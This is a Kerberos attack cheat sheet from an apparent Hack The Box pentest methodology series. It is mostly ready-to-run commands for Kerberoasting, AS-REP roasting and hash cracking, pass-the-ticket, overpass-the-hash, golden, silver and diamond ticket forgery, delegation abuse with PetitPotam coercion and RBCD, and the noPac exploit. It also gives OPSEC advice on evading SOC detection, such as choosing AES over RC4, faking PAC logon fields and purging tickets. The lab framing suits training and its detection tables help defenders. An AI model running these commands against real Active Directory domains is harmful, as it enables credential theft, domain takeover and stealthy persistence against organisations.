[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow
Section: 08 of 17 · Focus: Stage 05 — Kerberos Attacks
Previous: Stage 04 — Active Directory Enumeration · Next: Stage 06 — ACL and Object Abuse
🎟️ STAGE 5 — Kerberos Attacks
Once I hold any valid domain creds (from spraying/roasting) I pivot to Kerberos: pull crackable material, replay tickets, and launder hashes into TGTs. All of this talks to the KDC on port 88 against $DC.
[!warning] Watch out — clock skew kills every Kerberos tool Kerberos rejects any request more than 5 min off the DC clock:
KRB_AP_ERR_SKEW (Clock skew too great). Don’t touch my host clock — wrap the one tool that talks Kerberos withfaketime. Measure first, then prefix:nmap -p 88 --script clock-skew -Pn $DC # median: 7h30m00s => DC is ahead faketime -f '+7h30m' getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP # unsure of the sign? sync outright instead: sudo ntpdate $IPAlways add
-fso forked Python children inherit the fake time.faketimesource: wolfcw/libfaketime; HTTP-based sync alternative: htpdate. Full playbook: faketime-cheatsheet.
⏱️ Kerberos in 60 seconds — the flow every attack hangs off
Why each attack exists, mapped to a step:
| Step | Attack | Why it works |
|---|---|---|
| 1–2 | AS-REP Roast | No pre-auth required → the AS-REP material is encrypted with the user’s password key → offline crack |
| 3–4 | Kerberoast | Any user may request a TGS; the TGS is encrypted with the service account’s password key → offline crack |
| 1–2 | Overpass-the-Hash / Pass-the-Key | The “proof of identity” key IS the NT hash / AES key — owning it = minting TGTs |
| 1–5 | Pass-the-Ticket | Tickets are bearer tokens; a stolen/forged TGT or TGS replays until expiry |
| 3–4 | Delegation abuse (S4U) | Trusted services can ask the KDC for tickets on behalf of users — misconfig = impersonate anyone |
| forge | Golden/Silver/Diamond | Owning krbtgt (or service) keys = sign my own tickets, skipping the KDC entirely |
Key terms: TGT (ticket-granting ticket, from AS exchange), TGS (service ticket, from TGS exchange), SPN (service/hostname string binding a service to an account), PAC (authorization data inside the ticket — where group SIDs live), krbtgt (the KDC’s own account — its key signs every TGT).
[!abstract]- MITRE ATT&CK map for this stage
Technique Section T1558.003 — Kerberoasting Kerberoasting / Targeted Kerberoasting T1558.004 — AS-REP Roasting AS-REP Roasting T1550.003 — Pass the Ticket PtT T1550.002 — Pass the Hash (OPtH variant) Overpass-the-Hash T1558.001 — Golden Ticket / T1558.002 — Silver Ticket Ticket forgery T1558 — Steal or Forge Kerberos Tickets (delegation sub-paths) Delegation section T1187 — Forced Authentication Coercion (PetitPotam/printerbug)
🔥 Kerberoasting — SPN accounts → offline crack
What to look for: user accounts with a servicePrincipalName set (svc_sql, svc_backup, svc_iis…). Any domain user can request their TGS — no privs needed. The TGS is encrypted with the service account’s password hash. Discovery itself lives in Stage 04 (--kerberoasting, Get-DomainUser -SPN, setspn -Q */*); this section is the harvest.
Enumerate
# List SPN accounts — no ticket requested yet
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
# netexec sweep (also dumps in one shot)
nxc ldap $DC -u "$U" -p "$P" --kerberoasting kerb.hash
Exploit / Attack
# Request + dump ALL TGS hashes
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -outputfile kerb.hash
# Single high-value target
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user svc_sql -outputfile svc_sql.hash
# Auth with an NT hash instead of a password
GetUserSPNs.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP -request
# impacket asks for RC4 tickets by default - there is NO etype flag;
# the explicit RC4 downgrade lives on the Windows side: .\Rubeus.exe kerberoast /rc4
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request
# Crack — RC4 ($krb5tgs$23$) is mode 13100
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES128 ($krb5tgs$17$) -> 19600 | AES256 ($krb5tgs$18$) -> 19700
hashcat -m 19600 kerb.hash /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerb.hash /usr/share/wordlists/rockyou.txt
On-host from Windows I reach for Rubeus instead (see Rubeus-Cheatsheet):
[!tools] Stage this — Rubeus (the Kerberos Swiss army knife) Rubeus.exe (SHA-256 · GPG signature) GhostPack Rubeus covers this whole note on-host:
kerberoast,asreproast,asktgt,ptt,s4u,monitor,diamond,describe. Same binary gets reused in every section below.
.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /nowrap
.\Rubeus.exe kerberoast /stats # recon only — zero ticket requests
.\Rubeus.exe kerberoast /rc4 /nowrap # RC4-downgrade for fast cracking
.\Rubeus.exe kerberoast /aes /nowrap # or request AES tickets when RC4 is blocked
RC4-downgrade notes:
- Older svc accounts often support RC4 while the domain defaults to AES — asking for RC4 (
/rc4, or Rubeus default behaviour) yields a$krb5tgs$23$that cracks ~1000× faster than AES256. - AES-only accounts (
msDS-SupportedEncryptionTypes= 24) refuse RC4:KDC_ERR_ETYPE_NOSUPP→ take the AES ticket and crack 19600/19700 (or pick a different target). - Every RC4 request is a detection beacon: Event 4769 with
Ticket Encryption Type: 0x17where the baseline is 0x12 is a classic SIEM rule. Prefer AES requests on monitored networks even though the crack is slower.
Hash-mode cheat table:
| Hash prefix | Material | Hashcat | Notes |
|---|---|---|---|
$krb5asrep$23$ | AS-REP, RC4 | 18200 | AS-REP roast, no creds needed |
$krb5tgs$23$ | TGS, RC4 | 13100 | standard kerberoast — fast |
$krb5tgs$17$ | TGS, AES128 | 19600 | AES-enforced accounts |
$krb5tgs$18$ | TGS, AES256 | 19700 | slowest — add -w 3, good rules |
[!warning] Watch out
$krb5tgs$23$= RC4 = mode 13100 (fast).$krb5tgs$18$= AES256 = 19700 (slow, may need-w 3). Read the prefix before you pick the mode.- AES-only domains throw
KDC_ERR_ETYPE_NOSUPPon RC4 downgrade — switch to 19600/19700.- Always
-outputfile//nowrap; wrapped base64 lines silently corrupt the hash.- Bulk roasting = a burst of Event 4769 (etype 0x17) → instant SIEM flag. Target single accounts when it matters.
- Cracked svc account → immediately re-enumerate as it (the doctrine in Stage 04): service accounts routinely hold shares, SQL, or delegation rights the original user lacked.
Deep dives: 🔴 Attack · Kerberoasting Cheatsheet · Kerberoasting — Local On-Host Cheatsheet.
🩸 AS-REP Roasting — pre-auth disabled → crack with no creds
What to look for: accounts with DONT_REQ_PREAUTH (userAccountControl bit 0x400000). The KDC hands back an AS-REP blob encrypted with the account’s hash without any proof of identity — I don’t even need creds, just a username. Discovery lives in Stage 04 (--asreproast, kerbrute --hash-file, PowerView -PreauthNotRequired).
Enumerate
# Authenticated auto-discovery of vulnerable accounts
nxc ldap $DC -u "$U" -p "$P" --asreproast asrep.hash
Exploit / Attack
# No creds — brute a userlist (only usernames needed)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat -outputfile asrep.hash
# Authenticated — auto-enumerate + dump every vulnerable account
GetNPUsers.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request -format hashcat -outputfile asrep.hash
# Unauthenticated AS-REP roast across a user list (no creds needed — only DONT_REQ_PREAUTH accounts pop)
GetNPUsers.py "$DOMAIN"/ -no-pass -usersfile users.txt -dc-ip $IP -format hashcat
# No etype flag exists here either: AES-only accounts come back as $krb5asrep$18$ (hashcat 19900)
# Crack — AS-REP ($krb5asrep$23$) is mode 18200
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Windows / on-host:
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt /nowrap
[!tip] Run AS-REP roasting before password spraying — it’s passive, needs no creds, and each account is queried once so there’s zero lockout risk. This is the “user list → cred” bridge in the Stage 04 methodology.
[!warning] Watch out AS-REP is mode 18200, NOT 13100 — different hash (
$krb5asrep$vs$krb5tgs$). Unauthenticated runs leave a 4768 withPreAuthType: 0per target — light touch, don’t spray 20 at once.GetNPUsers.pyerrors are also the best skew tripwire:KRB_AP_ERR_SKEW= fix the clock (top of this note) before anything else.
Deep dive: 🔴 Attack.
🎯 Targeted Kerberoasting — write an SPN, then roast
What to look for: I hold GenericWrite/GenericAll over a user object (from ACL abuse / BloodHound). I set a bogus SPN on it, roast the TGS, then strip the SPN to clean up. This is the standard way to spend a GenericWrite edge on a user when I can’t reset the password safely.
[!tools] Stage this — targetedKerberoast targetedKerberoast.py (SHA-256 · GPG signature) Source: ShutdownRepo/targetedKerberoast. One-shot: sets a temp SPN via my ACL, requests the TGS, removes the SPN again, prints a hashcat-ready hash.
Exploit / Attack
# One-shot: adds a temp SPN, roasts, removes the SPN
python3 targetedKerberoast.py -v -d "$DOMAIN" -u "$U" -p "$P" --dc-ip $IP --request-user <target>
hashcat -m 13100 <target>.hash /usr/share/wordlists/rockyou.txt
# Manual equivalent via bloodyAD (set SPN -> roast -> clear)
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" set object <target> servicePrincipalName -v 'any/SPN'
GetUserSPNs.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -request-user <target> -outputfile <target>.hash
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove object <target> servicePrincipalName
[!warning] Watch out
targetedKerberoast.pyis a fork of Python impacket → it needs the clock right too.sudo ntpdate $IP(orfaketime -f '+Xh') before you run it, or it fails on skew. Same mode 13100 crack. The write itself is logged (Event 5136/4662 directory-service changes) — on monitored networks, roast-and-clean fast; leaving a stray SPN is both an IOC and a broken account.
🎫 Pass-the-Ticket (PtT) — grab a TGT, replay it
What to look for: a valid TGT/ccache — either dumped from LSASS on a Windows host (Rubeus/Mimikatz) or minted from creds/hash with getTGT.py. A TGT = access to any service the victim can reach; a TGS = that one service only. Bypasses MFA — the ticket is already authenticated.
Enumerate / obtain a ticket
# Mint a TGT from creds or an NT hash (outputs <user>.ccache)
getTGT.py "$DOMAIN"/"$U":"$P" -dc-ip $IP
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
export KRB5CCNAME=$(pwd)/"$U".ccache
klist # confirm it loaded + check expiry
Exploit / Attack — use -k -no-pass everywhere
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC
wmiexec.py -k -no-pass "$DOMAIN"/"$U"@$DC
secretsdump.py -k -no-pass "$DOMAIN"/"$U"@$DC
nxc smb $DC --use-kcache
evil-winrm -i $DC -r "$DOMAIN"
# Windows-format ticket? convert .kirbi -> .ccache first (and back for Rubeus)
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi
kirbi ↔ ccache — the format map:
| Format | Native to | Use with | Convert |
|---|---|---|---|
.ccache | MIT Kerberos (Linux) | impacket -k, evil-winrm -r, klist | ticketConverter.py x.kirbi x.ccache |
.kirbi | Windows / Rubeus / mimikatz | Rubeus.exe ptt, kerberos::ptt | ticketConverter.py x.ccache x.kirbi |
| base64 blob | Rubeus /nowrap output | Rubeus.exe ptt /ticket:<b64> | wrap/unwrap via ticketConverter after decoding |
# Inspect any ticket before burning it (see flags, etype, expiry)
describeTicket.py ticket.ccache
From a Windows foothold I dump + inject in place:
.\Rubeus.exe triage
.\Rubeus.exe dump /nowrap
.\Rubeus.exe ptt /ticket:<base64_or_kirbi>
# mimikatz alternative:
# mimikatz # sekurlsa::tickets /export
# mimikatz # kerberos::ptt ticket.kirbi
[!warning] Watch out
- Kerberos is hostname-based: authenticate to
$DC(the FQDN), never the raw$IP, or you getKRB_AP_ERR/ principal-unknown. Add$IP $DC $DOMAINto/etc/hosts.export KRB5CCNAMEbefore the tool, and-k -no-passon the tool itself — forget either and it silently falls back to NTLM.- TGT default life is 10h; a nearly-expired one is dead weight —
klistthe expiry.- A stolen TGT replayed from a new source IP is exactly what “pass-the-ticket” analytics look for (ticket used from a host that never did the AS-REQ). On monitored networks prefer OPtH/asktgt to mint a fresh TGT over replaying a stolen one.
Deep dive: 🔴 Attack · full ticket toolkit in Impacket-Cheatsheet.
🔐 Overpass-the-Hash (Pass-the-Key) — NT hash → fresh TGT
What to look for: I have an NT hash (or AES key) but NTLM is blocked/monitored. OPtH uses the hash as a Kerberos key to request a brand-new TGT, so I operate purely in Kerberos from there. AES key = stealthiest and works even when RC4 is disabled.
Exploit / Attack
# NT hash -> TGT
getTGT.py "$DOMAIN"/"$U" -hashes :<NTHASH> -dc-ip $IP
# AES256 key -> TGT (no RC4 downgrade signature)
getTGT.py "$DOMAIN"/"$U" -aesKey <AES256KEY> -dc-ip $IP
export KRB5CCNAME=$(pwd)/"$U".ccache
psexec.py -k -no-pass "$DOMAIN"/"$U"@$DC
# Skip the TGT — go straight for a service ticket
getST.py "$DOMAIN"/"$U" -hashes :<NTHASH> -spn cifs/$DC -dc-ip $IP
Windows / Rubeus:
.\Rubeus.exe asktgt /user:"$U" /rc4:<NTHASH> /domain:"$DOMAIN" /dc:$DC /ptt
.\Rubeus.exe asktgt /user:"$U" /aes256:<AES256KEY> /domain:"$DOMAIN" /opsec /ptt
.\Rubeus.exe asktgt /user:"$U" /password:"$P" /domain:"$DOMAIN" /ptt # cred -> TGT, inject in one go
[!warning] Watch out RC4 OPtH throws Event 4768
etype 0x17— a red flag in AES-enforced domains. Pull the AES key (sekurlsa::ekeys) and use/aes256/-aesKeyto blend in. AES-only domains reject RC4 withKDC_ERR_ETYPE_NOSUPP. Rubeus/opsecmimics a legitimate AS-REQ exchange (two-step pre-auth) instead of the noisy one-shot — use it whenever detection is in scope.
Deep dive: 🔴 Attack.
🥇🥈 Golden & Silver Tickets — forging with stolen keys
Post-DA / forgery territory — needs the krbtgt hash (Golden) or a service/computer account hash (Silver) plus the domain SID. Golden = forge a TGT (opens everything, KDC-validates it). Silver = forge one service’s TGS (never touches the KDC — quieter, but only that service on that host).
[!tools] Stage this — mimikatz (the original ticket forger) mimikatz_trunk.zip (SHA-256 · GPG signature) Source: gentilkiwi/mimikatz. The impacket
ticketer.pyequivalents below are the Linux-side option; mimikatz is the on-host option.
# Domain SID
lookupsid.py "$DOMAIN"/"$U":"$P"@$IP 0 | grep -i 'Domain SID'
# GOLDEN — forge a TGT from the krbtgt hash (get it via DCSync first)
ticketer.py -nthash <KRBTGT_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
# stealthier: forge with the krbtgt AES256 key instead of the NT hash
ticketer.py -aesKey <KRBTGT_AES256> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" Administrator
# SILVER — forge a single-service TGS from the service/computer acct hash (never touches KDC)
ticketer.py -nthash <SVC_NT> -domain-sid <DOMAIN_SID> -domain "$DOMAIN" -spn cifs/$DC Administrator
export KRB5CCNAME=$(pwd)/Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@$DC
# mimikatz equivalents (on-host)
mimikatz # lsadump::dcsync /user:krbtgt # get krbtgt keys (needs DCSync rights)
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /krbtgt:<NT> /ptt
mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:<SID> /aes256:<KEY> /ptt
Golden vs Silver — when each:
| Golden (krbtgt key) | Silver (service/machine key) | |
|---|---|---|
| Scope | Any user, any service, domain-wide | One service on one host |
| KDC contact | TGS-REQ still happens (4769 logged) | None — service validates it locally |
| Detection | PAC/flow anomalies, 4769 mismatch | Only service-side logs (often unmonitored) — stealthier |
| Survival | Dies only on double krbtgt reset | Dies when the service/machine password rotates |
| Best for | Persistence, full-domain access | Quiet access to one box (e.g. cifs/, host/, http/) |
[!note] Deep dives: 🟠 Attack · 🟠 Attack · 🥈 Silver Ticket Attack Cheatsheet. Reminder: post-Nov-2021 patches require the forged username to exist in AD, and only a double krbtgt reset kills a Golden Ticket.
[!tip] Crack-mode quick card: Kerberoast RC4
13100· AES12819600· AES25619700· AS-REP18200. Full list: hashcat modes.
💎 Diamond & Sapphire Tickets (stealth variants)
What to look for → you hold the KRBTGT AES key and want a forged TGT that survives modern detection. A Golden Ticket is forged from scratch (no matching AS-REQ on the DC = a detection signature); a Diamond ticket decrypts a real TGT, rewrites its PAC, and re-signs it — so it has a legitimate audit trail. Sapphire goes one step further: it copies the PAC of a real privileged user (fetched via S4U) into the forged ticket, so even the PAC contents match a genuine logon.
| Golden | Diamond | Sapphire | |
|---|---|---|---|
| Needs | krbtgt key | krbtgt key + any way to get a real TGT | krbtgt key + target user’s PAC (via S4U2Self) |
| AS-REQ on DC? | ❌ none (detectable gap) | ✅ real one exists | ✅ real one exists |
| PAC | fabricated | modified from real TGT | copied from a real high-priv user |
| Detection resistance | low | high | highest |
Exploit (Rubeus, on a Windows foothold)
# grab a real TGT (tgtdeleg), inject DA into its PAC, re-sign with the krbtgt AES256 key
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 `
/krbkey:<AES256_of_krbtgt> /nowrap
[!note] When to bother On HTB, a Golden Ticket (via
ticketer.py/mimikatz kerberos::golden) is usually enough and simpler. Reach for Diamond/Sapphire only when detection is explicitly in scope. Deep dives: 🟠 Attack · 🟠 Attack.
🔁 Delegation abuse — unconstrained, constrained, RBCD
Delegation = a service trusted to request tickets on behalf of users. Three flavours, three different attacks. Discovery: nxc ldap $DC -u "$U" -p "$P" --find-delegation / BloodHound AllowedToDelegate edges / PowerView -TrustedToAuth (Stage 04).
Unconstrained delegation — the TGT vacuum
A host trusted for unconstrained delegation caches the TGT of every user who authenticates to it. Own the host → dump LSASS → collect TGTs. No users coming? Coerce a privileged one.
[!tools] Stage this — PetitPotam (coerce the DC to authenticate to me) PetitPotam.py (SHA-256 · GPG signature) Source: topotam/PetitPotam. Alternatives: SpoolSample / printerbug (MS-RPRN), Coercer (multi-protocol scanner), DFSCoerce.
# 1) sit on the unconstrained host and watch for incoming TGTs
.\Rubeus.exe monitor /interval:5 /nowrap
# 2) from my box, force the DC to auth to the unconstrained host
python3 PetitPotam.py <UNCONSTRAINED_HOST> $DC # patched DCs: try printerbug instead
python3 printerbug.py "$DOMAIN"/"$U":"$P"@$DC <UNCONSTRAINED_HOST>
# 3) the DC$ machine TGT lands in Rubeus monitor -> ptt it -> DCSync
.\Rubeus.exe ptt /ticket:<base64_from_monitor>
mimikatz # lsadump::dcsync /user:krbtgt
[!warning] Watch out DC computer accounts are in Protected Users on modern domains → their TGTs don’t forward. In that case coerce a different DC, or pivot to RBCD below. Coercion = forced authentication (T1187) and is loud — one shot, not a loop.
Constrained delegation — S4U2Proxy impersonation
A service with msDS-AllowedToDelegateTo: cifs/target can ask the KDC for a service ticket as any user to that target service only.
# Linux — getST with S4U2Self+S4U2Proxy in one shot
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator "$DOMAIN"/"$U":"$P" -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<TARGET_FQDN>
# Windows — Rubeus s4u (needs the delegating service's hash or TGT)
.\Rubeus.exe s4u /user:svc_iis /rc4:<SVC_NTHASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET> /ptt
# protocol transition (TrustedToAuth) lets a non-Kerberos auth become a TGS:
.\Rubeus.exe s4u /user:svc_web /ticket:<tgt.kirbi> /impersonateuser:Administrator /msdsspn:time/<DC> /altservice:ldap /ptt
[!note] Bronze Bit (CVE-2020-17049) Pre-Dec-2020 KDCs ignored the “not forwardable” bit on S4U2Self tickets, letting constrained delegation impersonate Protected Users / delegation-protected accounts. Mostly patched now — check on 2016/2019-era boxes, otherwise expect
KDC_ERR_BADOPTION.
RBCD — Resource-Based Constrained Delegation (the GenericWrite-on-computer play)
The modern standard: if I have GenericWrite/WriteProperty over a computer object (or can create a machine account — MachineAccountQuota > 0), I set msDS-AllowedToActOnBehalfOfOtherIdentity on the victim computer and S4U myself in. This is the edge behind half of BloodHound’s “computer takeover” paths.
# 0) check quota first (need > 0 to add a machine)
nxc ldap $DC -u "$U" -p "$P" -M maq
# 1) add a machine account I control (Linux: impacket addcomputer.py | Windows: Powermad)
addcomputer.py -computer-name 'ATTACK$' -computer-pass 'Passw0rd!' -dc-ip $IP "$DOMAIN"/"$U":"$P"
# Windows: Import-Module .\Powermad.ps1 ; New-MachineAccount -MachineAccount ATTACK
# 2) grant my machine account RBCD on the VICTIM computer
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" add rbcd 'VICTIM$' 'ATTACK$'
# impacket equivalent:
rbcd.py -delegate-from 'ATTACK$' -delegate-to 'VICTIM$' -dc-ip $IP -action write "$DOMAIN"/"$U":"$P"
# 3) S4U as Administrator to the victim
getST.py -spn cifs/<VICTIM_FQDN> -impersonate Administrator "$DOMAIN"/'ATTACK$':'Passw0rd!' -dc-ip $IP
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass "$DOMAIN"/Administrator@<VICTIM_FQDN>
# 4) CLEANUP — reverse every write, every time
bloodyAD --host $DC -d "$DOMAIN" -u "$U" -p "$P" remove rbcd 'VICTIM$' 'ATTACK$'
addcomputer.py -computer-name 'ATTACK$' -dc-ip $IP "$DOMAIN"/"$U":"$P" -delete
[!danger] Cleanup is part of the attack An orphaned RBCD entry (
msDS-AllowedToActOnBehalfOfOtherIdentity) is a persistent, stealthy backdoor — great for an APT, unacceptable to leave in a client’s AD. Log the attribute’s original value before writing, and restore it exactly. Detection: Event 5136 (attribute modified) on the computer object + Event 4662 if auditing; machine-account creation = Event 4741.Also:
getST.pyimpersonation ofAdministratortocifs/fails if the target admin is in Protected Users or marked “account is sensitive and cannot be delegated” — impersonate a different privileged user instead.
🧨 sAMAccountName spoof + noPac (CVE-2021-42278 / CVE-2021-42287)
Any domain user + default MachineAccountQuota=10 → create a machine account, rename it to a DC’s name (spoof sAMAccountName), request a TGT, rename back, then S4U2Self — the KDC “loses” the machine and grants a ticket as the DC → DCSync → DA. Unpatched 2016/2019/2022 DCs only.
# check
nxc smb $DC -u "$U" -p "$P" -M nopac
# exploit (noPac — github.com/Ridter/noPac)
python3 noPac.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -dc-host ${DC%%.*} -shell --impersonate Administrator -use-ldap
# or dump instead of shell: -dump
# sam-the-admin (github.com/WazeHell/sam-the-admin) — the same chain with a cleaner auto-flow:
python3 sam_the_admin.py "$DOMAIN"/"$U":"$P" -dc-ip $IP -shell
[!warning] Watch out Needs MAQ > 0 and an unpatched DC — both rarer in 2026, but lab ranges love it. Leaves Event 4741 (computer created) + 4781/4742 (renames) + anomalous 4768/4769 — extremely noisy chain; on real engagements prefer RBCD/ACL paths unless this is the only door. Links: noPac · sam-the-admin. Also covered in the Stage 04 CVE checkpoint (Stage 04).
🛡️ Detection & OPSEC — what Kerberos attacks look like to a SOC
| My action | Event / signal | Blend-in move |
|---|---|---|
| AS-REP roast (unauth) | 4768 with Pre-Auth Type: 0, one per account | query few accounts; it’s quiet in ones |
| Kerberoast burst | 4769 spike, Ticket Encryption: 0x17 (RC4) | single-target requests; accept AES (0x12) tickets |
| RC4 downgrade | 4768/4769 etype 0x17 where baseline is 0x12 | request AES explicitly; crack 19600/19700 |
| Failed auth (bad hash/spread) | 4771 (Kerberos pre-auth failed), 4625 | validate creds once, don’t re-spray |
| OPtH with RC4 | 4768 etype 0x17 for a user whose baseline is AES | use /aes256 + Rubeus /opsec (real 2-step AS-REQ) |
| PtT from new host | ticket used from IP that never did AS-REQ (KDC-log correlation) | mint fresh TGT (asktgt) instead of replaying |
| Golden ticket | TGT with no matching 4768 on the DC | Diamond/Sapphire (real AS-REQ trail) |
| Coercion (PetitPotam) | DC machine account connects out — NDR/EDR beacon | one-shot only; have the trap set first |
| RBCD write | 5136/4662 attribute change + 4741 machine creation | restore original attribute; delete the machine |
[!danger] OPSEC rules for tickets
- Prefer AES keys over RC4 everywhere (
sekurlsa::ekeysgrabs both) — RC4 etype is the single easiest Kerberos detection to write.- Respect lifetimes: default TGT 10h / renewable 7d. A forged ticket with a 10-year lifetime is an IOC; match the domain’s
MaxTicketAge.- Wipe opsec fields: when forging, set realistic
LogonCount,BadPwdCount,LastLogonin the PAC (mimikatz/ticketer defaults can be zeroed — a user with 0 logons holding DA group membership is an anomaly).- Purge after use:
kdestroy(Linux) /Rubeus.exe purge/klist purge(Windows) — and on the defending side, remember only a double krbtgt reset retires golden tickets.- Full defense-side reading: detections in MITRE ATT&CK T1558 sub-techniques.
[!navigation] Continue the attack flow Previous: Stage 04 — Active Directory Enumeration
Dashboard: HTB Pentest Attack Flow